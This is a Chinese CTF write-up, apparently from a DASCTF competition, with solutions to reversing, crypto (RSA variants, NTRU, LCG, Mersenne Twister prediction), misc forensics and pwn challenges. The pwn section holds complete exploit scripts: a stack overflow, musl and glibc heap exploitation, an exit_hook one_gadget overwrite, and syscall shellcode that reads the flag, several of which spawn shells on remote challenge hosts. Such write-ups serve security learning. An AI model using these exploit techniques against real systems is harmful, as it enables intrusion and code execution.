        out = [0]*30
        vm_body[3:3+4] = 0xBEEDBEEF.to_bytes(4, byteorder="little")
        a1 = 0
        v2 = index+1
        code = [0]*64
        while (v2):
            v2 -= 1
            code[48:48+8] = 0x20D01011903001A.to_bytes(8, byteorder="little")
            code[55:55+8] = 0x300010201180702.to_bytes(8, byteorder="little")
            code[50] = flag[a1]
            exec(code[48:], 15)
            code[32:32+8] = 0x20D02011903001A.to_bytes(8, byteorder="little")
            code[39:39+8] = 0x400010201180602.to_bytes(8, byteorder="little")
            code[34] = vm_body[0]
            exec(code[32:], 15)
            code[16:16+8] = 0x20D03011903001A.to_bytes(8, byteorder="little")
            code[23:23+8] = 0x500010201180502.to_bytes(8, byteorder="little")
            code[18] = vm_body[0]
            exec(code[16:], 15)
            code[0:0+8] = 0x20D04011903001A.to_bytes(8, byteorder="little")
            code[7:7+8] = 0x600010201180402.to_bytes(8, byteorder="little")
            code[2] = vm_body[0]
            exec(code, 15)
            out[a1] = ((vm_body[0] >> 5) | (vm_body[0] << 3)) & 0xff
            a1 += 1


        for u in range(index, index+1):
            if out[index] != enc[index]:
                break
            else:
                print(chr(flag[index]), end='')
                index += 1
                break
        else:
            break
    

Crypto

Danger_RSA

$$
p=a^{4} +s,q=a^{4}+t
$$

对e进行分解得到以下

P1 = 3
P1 = 7
P1 = 7
P2 = 19
P3 = 691
P4 = 5741

求出s,t的区间值,设置限制条件进行爆破出a,b

from hashlib import md5
import  itertools
from tqdm import *
from functools import reduce
prod=lambda x,y:x*y
c=1
x=[ 3 , 7,7 , 19 , 691 , 5741]
## print(reduce(prod,x))
num=set()

for j in range(1,7):
    for i in itertools.product(x,repeat=j):
        p=c*reduce(prod,i)
        if p.bit_length()==17:
            num.add(p)
print(num)
import gmpy2,itertools
from tqdm import tqdm
e=11079917583
n=20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
data=[68229, 130599, 101577, 123823, 120561, 118161, 130321, 117649, 109079, 91903]
ab=int(gmpy2.iroot(n,4)[0])
data2=[ i for i in itertools.combinations(data,2)]
for s,t  in tqdm(data2) :
    if t*s!=e:
        continue
    var('a b')
    f1=a*b==ab
    f2=n==(ab**4)+a**4*s+b**4*r+r*s
    tmp=solve([f1,f2],[a,b])
    print(tmp)
    print(s,t)

求出得到ab

a=47783641287938625512681830427927501009821495321018170621907812035456872958654
b=44416071018427916652440592614276227563515579156219730344722242565477265479486
s=120561 
t=91903

已知abst可以求出p,q

得到之后,正常解就行

import gmpy2
from Crypto.Util.number import *
n = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
D=[68229, 130599, 101577, 123823, 120561, 118161, 130321, 117649, 109079, 91903]
## for i in range(len(D)):
##     for j in range(i+1,len(D)):
##         r,s=D[i],D[j]
##         print(r,s)
## ab=int(gmpy2.iroot(n,4)[0])
## var('a b')
## f1=a*b==ab
## f2=n==(ab**4)+a**4*s+b**4*r+r*s
## solve([f1,f2],[a,b])
a =47783641287938625512681830427927501009821495321018170621907812035456872958654
b = 44416071018427916652440592614276227563515579156219730344722242565477265479486
r,s=120561,91903
p=a**4+r
q=b**4+s
d=inverse(e//21,p-1)
m_21=pow(c,d,n)
e=21
P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-m_21
mps=f.monic().roots()
for i in mps:
    flag=long_to_bytes(int(i[0]))
    if b'DASCTF' in flag:
        print(flag)
## b'DASCTF{C0nsTruct!n9_Techn1qUe2_f0r_RSA_Pr1me_EnC2ypt10N}'

XOR贯穿始终

先核心价值观解码得到压缩包的密钥:C0ngr4tulati0n5_y0u_fou^d_m3

私钥文件base64解密再转16进制

参考(PKCS1) RSA 公私钥 pem 文件解析 - 知乎 (zhihu.com)

提取到n,p,q。然后就是常规解密。

解出来的结果和压缩包密钥异或一下才是真的flag。

exp:

from Crypto.Util.number import *
import gmpy2

n = 
e = 0x10001
p = 
q = 

c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818

d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print(long_to_bytes(int(m)))

a = b'C0ngr4tulati0n5_y0u_fou^d_m3'
flag = long_to_bytes(bytes_to_long(a) ^ int(m))
print(flag)

MCeorpkpleer

  • 恢复w、m后,利用序列的超递增性质解密得到e
  • 已知p高位恢复p
  • rsa解密得到flag
## SageMath

import libnum, gmpy2


pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
en_e = 31087054322877663244023458448558
w = gcd(pubkey[0], pubkey[1])
assert is_prime(w)
list1 = [pow(3, i) for i in range(64)]
m = gcd(w*list1[-1]-pubkey[-1], w*list1[-2]-pubkey[-2])
assert is_prime(m)

en_e = en_e *inverse_mod(w,m) % m
e = ''
for each in list1[::-1]:
    if en_e >= each:
        e += '1'
        en_e -= each
    else:
        e += '0'

e = int(e[::-1], 2)
p0 = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464


kbit = 435
PR.<x> = PolynomialRing(Zmod(n))
f = p0+x
x = f.small_roots(X=2^kbit, beta=0.4)
p = p0+int(x[0])
q = n // p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c, d, n))
print(libnum.n2s(m))  # DASCTF{T81I_tPPS_6r7g_xlPi_OO3M_6vyV_Rkba}

esyRSA

对于题目

from gmpy2 import invert
from md5 import md5
from secret import p, q

e = ?????
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)
ans = gcd(e,phi)

print n, e, d
print "Flag: DASCTF{%s}" %md5(str(p + q)).hexdigest()

"""
n = 8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
"""

发现n过长,且有明显重复。

根据题目代码,猜测题目有误,所以将n等分,前一半才为n。

于是,利用连分数获取k、e,即可恢复p+q

## Sage
from Crypto.Util.number import *
from gmpy2 import *

data1 = '8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373'
data2 = '14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913'

n = int(data1[:len(data2)])
d = int(data2)


c = continued_fraction(Integer(d) / Integer(n))
for i in range(1, 9000):
    k = int(c.numerator(i)) # 分子
    e = int(c.denominator(i))
    if (e*d-1)%k==0:
        print(k)
        print(e)
        tmp = ((k*n+1-e*d)//k) + 1
        print('p + q =', tmp)

其中有

2384
13521
p + q = 18101966903197904104103274369549488558638013636328319260314053428770825687572755141919313812981523970938045930012152983362607947170555142776865084844865966

于是,z3求解出p、q,即可得到flag

from z3 import *
from hashlib import md5

n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
p_add_q = 18101966903197904104103274369549488558638013636328319260314053428770825687572755141919313812981523970938045930012152983362607947170555142776865084844865966

S = Solver()
p = Int('p')
q = Int('q')
S.add(p * q == n)
S.add(p + q == p_add_q)
tmp = S.check()
print(tmp)
if tmp == sat:
    roots = S.model()
    p, q = int(str(roots[p])), int(str(roots[q]))
    print("Flag: DASCTF{%s}" % md5(str(p + q).encode()).hexdigest())  # 4ae33bea90f030bfddb7ac4d9222ef8f

signiCrypto

## !/usr/bin/env python3.10
## -*- coding: utf-8 -*-
## @Time    : 2023/9/2 10:13
## @Author  : lingfeng
## @File    : exp.py
from randcrack import RandCrack
from Crypto.Cipher import DES3
from Crypto.Util.number import *
import itertools,hashlib,string
from tqdm import *
xor=334648638865560142973669981316964458403
dig=0x62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833
hint2=22078953819177294945130027344

enc='a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1'
enc=bytes.fromhex(enc)
K1=b'dasctfda'
with open("task.txt","r") as f:
    f=f.readlines()
data =[eval(i) for i in f]
data2=[]
for d in data[-312:]:
    a,b=d&0xffff,(d>>16)&0xffff
    data2.append(a)
    data2.append(b)
rc=RandCrack()
for a,b in zip(data,data2):
    t=(a<<16)+b
    rc.submit(t)
K2 = long_to_bytes(rc.predict_getrandbits(64))
## IV1=long_to_bytes(hint2)[:4]
## digest1 = hashlib.sha512(IV1).digest().hex()
## for i in itertools.product(string.ascii_uppercase,repeat=4):
##     IV2="".join(i).encode()
##     digest2 = hashlib.sha512(IV2).digest().hex()
##     digest = digest1 + digest2
##     tmp=bytes_to_long((digest.encode()))
##     if tmp==dig:
##         print(IV2)#GWHT
##         break
IV=B'GWHTGWHT'
mode = DES3.MODE_CBC
for i in range(256):
    K3=b'DASCTF{'+chr(i).encode()
    KEY = K1 + K2 + K3
    des3 = DES3.new(KEY, mode, IV)
    cipher = des3.decrypt(enc)
    print(cipher)

Easy_3L

  • NTRU模版题
  • LCG模版题
## Sagemath
import libnum
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287
S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736


## 求解f, g
Ge = matrix(ZZ, [[1, h], [0, p]])
f, g = Ge.LLL()[0]  # SVP
## 利用f, g求解m
f = abs(f)
g = abs(g)
c_ = (c*f)%p
S3 = c_*inverse_mod(f, g)%g


## LCG
s = [S1,S2,S3,S4,S5]
t = []
for i in range(len(s)):
    t.append(s[i]-s[i-1]) 
all_n = []
for i in range(len(s)-2):
    all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1]))) 


n=all_n[-1]
a=(s[2]-s[1])*inverse_mod((s[1]-s[0]),n)%n
ani=inverse_mod(a,n)
b=(s[1]-a*s[0])%n
m = (ani*(s[0]-b))%n
print(libnum.n2s(int(m)))  # DASCTF{NTRU_L0G_a6e_S1mpLe}

MISC

Matryoshka

img镜像文件,可以用取证软件直接分析,导出三个文件:not_real_cat.jpg、encrypt和normal_rar.rar

winhex打开压缩包:

veracrypt挂载:

然后一个base32和一个维吉尼亚

ai和nia的交响曲

image.png

导出流量包,其中 upload 上传了一个图片,以及 flag2.zip

image.png

from PIL import Image

im = Image.open('./00000000.png')
width,height = im.size

bin = ''

for x in range(width):
    for y in range(height):
        r,g,b = im.getpixel((x,y))
        if r > 127:
            bin += '1'
        else:
            bin += '0'

with open('out.txt','w')as f:
    f.write(bin)
## 尝试提取二进制

image.png

HINT:BV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_ 得到一个 BV号 和 flag1

flag2 解伪加密后 0宽解密
image.png
对应 bilibili 视频秒数解出 CAOCAOGAIFAN

@i_n1a_l0v3S_CAOCAOGAIFAN

ez_misc

这道题给了个图片,利用CRC爆破宽高后,得到宽高为138,修复完
010看后,其中有个PK文件,但是文件是错误的。
但是看到了有两个IEND尾巴,而且有很多的IDAT块,于是联想到是WMCTF2023中的一道类似的题目,是一个snipaste的一个cve,编号为CVE-2023-28303
可以直接工具一把梭,https://github.com/frankthetank-music/Acropalypse-Multi-Tool
值得注意的是,工具需要再root环境下进行,而且待处理的图片的CRC32值不能有问题
image.png
然后就可以得到flag了

Easy_VMDK

构建明文爆破

'/root/Desktop/bkcrack-1.5.0-Linux/bkcrack' -C '/root/Desktop/Easy_VMDK.zip'  -c flag.vmdk -x 0 4B444D5601000000030000
bkcrack 1.5.0 - 2022-07-07
[05:35:27] Z reduction using 4 bytes of known plaintext
100.0 % (4 / 4)
[05:35:27] Attack on 1213356 Z values at index 6
Keys: e6a73d9f 21ccfdbc f3e0c61c
28.6 % (346741 / 1213356)
[05:43:30] Keys
e6a73d9f 21ccfdbc f3e0c61c
'/root/Desktop/bkcrack-1.5.0-Linux/bkcrack' -C '/root/Desktop/Easy_VMDK.zip'  -c flag.vmdk -k e6a73d9f 21ccfdbc f3e0c61c -d out.zip
bkcrack 1.5.0 - 2022-07-07
[05:44:21] Writing deciphered data out.zip (maybe compressed)
Wrote deciphered data.

bandzip 打开有个 png2txt,360 打开就能显示 flag.zip 和 key.txt

image.png

image.png

写出解密代码

from PIL import Image
import base64
import binascii

with open("key.txt", "r") as f:
    content = f.readlines()

height = 137
width = 2494
img_data = []
for line in content:
    uu_byte = base64.b64decode(line.strip())
    img_data.append(binascii.b2a_uu(uu_byte).decode().strip())

im = Image.new("RGB", (width, height), 'white')
for y in range(height):
    for x in range(width):
        pixel = tuple(map(int,img_data[y * width + x].split(', ')))
        im.putpixel((x,y),pixel)

im.show()

password.png

image.png

GIFuck

image.png

times = ['240', '60', '60', '60', '240', '60', '60', '60', '60', '60', '60', '360', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', '60', 
...
]
strings = "+[->+<]>[->+<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]<+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>][->+<]>[-<+>]+<+[->+<]>[->-<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+[->+<]>[->+<]>[-<+>]+<+<+[->+<]>[->+<]>[->+<]>[-<+>]<+[->+<]>+.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.-.<+[->-<]>-.<+[->+<]>+.<+[->-<]>-.+.-.<+[->-<]>-.<+[->+<]>+.+.<+[->-<]>-.+.<+[->-<]>-.<+[->+<]>+.<+[->+<]>+.<+[->-<]>-.<+[->+<]>+.+.+.<+[->-<]>-.<+[->+<]>+.-.<+[->+<]>+.<+[->-<]>-.<+[->-<]>-.[-]<"

out = ''
for i in range(len(times)):
    out += strings[i] * ((int(times[i]))//60)
print(out)

得到 brainfuck

image.png

将内存的16进制解码得到flag

image.png

DASCTF{Pen_Pineapple_Apple_Pen}

PWN

risky_login

from pwn import *

context(arch='riscv', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('tcp.cloud.dasctf.com', 28282)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

r.sendlineafter('Input ur name:\n', 'a')


p1 = b'a' * (0xf8 + 8) + p64(0x123456EE)
r.sendafter('words\n', p1)

r.sendline('cat fl*')


r.interactive()

cookieBox

musl pwn,libc版本为1.1.24。参考这篇文章了解musl libc的堆管理器分配规则。

uaf漏洞。

image-20230902193424653

利用unbin在stdout上方伪造fake_chunk,劫持stdout结构体获取shell。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './cookieBox'
elf = ELF(fn)
libc = ELF('./libc.so')

debug = 1
if debug:
    p = process(fn)
else:
    p = remote('tcp.cloud.dasctf.com', 26753)


def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

    
def menu(index):
    p.sendlineafter('>>', str(index))


def add(size, content='l1s000t'):
    menu(1)
    p.sendlineafter('input the size:', str(size))
    p.sendlineafter('input the Content:', content)


def show(index):
    menu(4)
    p.sendlineafter('input the idx:', str(index))


def edit(index, content):
    menu(3)
    p.sendlineafter('input the idx:', str(index))
    p.sendlineafter('input the content:', content)


def delete(index):
    menu(2)
    p.sendlineafter('input the idx:', str(index))


add(0x80)   # 0
add(0x80)   # 1
add(0x80)   # 2
add(0x80)   # 3
add(0x80)   # 4

show(0)

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)

libc_base = leak - 0x292e50
lg('libc_base', libc_base)

stdout = libc_base + 0x292300
mal_bin = libc_base + 0x292b20
system = libc_base + 0x42688

delete(1)
add(0x80)   # 5

delete(1)
edit(5, p64(stdout - 0x20) + p64(stdout - 0x20))

add(0x80)   # 6

delete(1)   
edit(5, p64(mal_bin) + p64(stdout - 0x20))
add(0x80, p64(stdout - 0x20) + p64(mal_bin))   # 7

add(0x80)   # 8
add(0x80)   # 9

payload = b'a' * 0x10
payload += flat({
    0: '/bin/sh\x00',
    0x20: 1,         # f->wpos
    0x28: 1,         # f->wend
    0x30: system, 
    0x38: 0, 
    0x48: system  # f->write
})

edit(9, payload)

p.interactive()

image-20230902195048441

easy_vm

memory遗留了libc地址,劫持exit_hook为one_gadget。

image-20230902193104367

##!/usr/bin/python
##encoding:utf-8

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './pwn'
elf = ELF(fn)
libc = elf.libc

debug = 1
if debug:
    p = process(fn)

else:
    p = remote('tcp.cloud.dasctf.com', 22083)
    

def dbg(s=''):
    if debug:
        gdb.attach(p, s)
        pause()

    else:
        pass
    
lg = lambda x, y: log.success(f'{x}: {hex(y)}')


gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = gadgets[3]

libc_base_offset = 0x3c4b78
ld_base_offset = 0x3ca000
exit_hook_offset = 0x226f48

## dbg()

payload = p64(2)
payload += p64(7) + p64(libc_base_offset)   # sub -> libc_base
payload += p64(6) + p64(one_gadget)     # add -> one_gadget
payload += p64(1)
payload += p64(7) + p64(one_gadget)     # sub -> libc_base
payload += p64(6) + p64(ld_base_offset)
payload += p64(6) + p64(exit_hook_offset)
payload += p64(3)

p.sendafter('your code:', payload)

p.interactive()

image-20230902193204601

shellcode

程序一开始的时候可以输入两个字节,这里可以输入 syscall 指令。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_150B(a1, a2, a3);
  puts("[0] The Joy Of Contsructing shellcode ~");
  puts("[1] Are You Superstar In Ctfers?");
  puts("[2] Input: (ye / no)");
  read(0, buf, 2uLL);
  if ( !strcmp(buf, "ye") )
    puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
  else
    sub_13A2(buf);
  puts("[3] Bye~");
  return 0LL;
}

利用脚本

##!/usr/bin/env python3
## -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('tcp.cloud.dasctf.com', 23583)
sh.sendafter(b'[2] Input: (ye / no)\n', asm('syscall'))
sh.sendafter(b'[5] ======== Input Your P0P Code ========\n', asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y'))

sh.send(b'\x90' * 0x12 + asm(
'''
    sub rsp, 0x2000
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov rcx, 0x8000000000000000
    add rdi, rcx
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov esi, 0
    mov eax, 33
    syscall ;// dup2

    mov edi, 0
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    mov rcx, 0x8000000000000000
    add rdi, rcx
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()

heap

edit 存在条件竞争而导致的 Heap Overflow 漏洞。

void __fastcall edit(char *a1)
{
  unsigned int v1; // [rsp+10h] [rbp-120h]
  int length; // [rsp+14h] [rbp-11Ch]
  const char *src; // [rsp+18h] [rbp-118h]
  const char *srca; // [rsp+18h] [rbp-118h]
  char dest[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  src = strtok(a1, ":");
  if ( src )
  {
    strcpy(a1, src);
    srca = strtok(0LL, &byte_21DA);
    if ( srca )
      strcpy(dest, srca);
  }
  puts("The paper index loading");
  v1 = atoi(a1);
  length = ptr[v1]->length;
  sleep(1u);
  if ( v1 <= 0xF && ptr[v1] )
  {
    printf("paper index: %d\n", v1);
    puts("Input the new paper content");
    strncpy((char *)ptr[v1]->buf, dest, length);
    puts("Done");
  }
  else
  {
    puts("Invalid paper index");
  }
}

利用脚本

##!/usr/bin/env python3
## -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('tcp.cloud.dasctf.com', 21473)

def add(content):
    sh.sendlineafter(b'Your chocie:\n\n', b'1 ' + content)

def edit(index, content):
    sh.sendlineafter(b'Your chocie:\n\n', b'3 ' + str(index).encode() + b':' + content)

def delete(index):
    sh.sendlineafter(b'Your chocie:\n\n', b'4 ' + str(index).encode())

def show(index):
    sh.sendlineafter(b'Your chocie:\n\n', b'2 ' + str(index).encode())

add(b'a' * 0x63)
add(b'a' * 0x58)
add(b'a' * 0x58)

delete(1)
edit(0, b'b' * 0x60 + p16(0x8a0))
delete(0)
add(b'a' * 0x58)

sh.recvuntil(b'Input the new paper content')
sh.sendline(b'2 2')
sh.recvuntil(b'paper content: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219c80
success('libc_addr: ' + hex(libc_addr))
sh.sendline(b'1 ' + b'a' * 0x58)

add(b'c' * 0x68)
add(b'c' * 0x58)
add(b'c' * 0x58)
delete(4)
edit(3, b'd' * 0x60 + p64(libc_addr+0x21aa20))
delete(3)
add(b'c' * 0x58)

sh.recvuntil(b'Input the new paper content')
sh.sendline(b'2 5')
sh.recvuntil(b'paper content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0') - 0x160
success('stack_addr: ' + hex(stack_addr))
sh.sendline(b'1 ' + b'c' * 0x58)

add(b'd' * 0x68)
add(b'd' * 0x58)
add(b'e' * 0x58)
delete(7)
edit(6, b'e' * 0x60 + p64(stack_addr))
delete(6)
add(b'd' * 0x58)
edit(8, p64(libc_addr+0xebcf1))

sh.recvuntil(b'Input the new paper content')
sh.recvuntil(b'Input the new paper content')

time.sleep(1)

sh.sendline()

sh.interactive()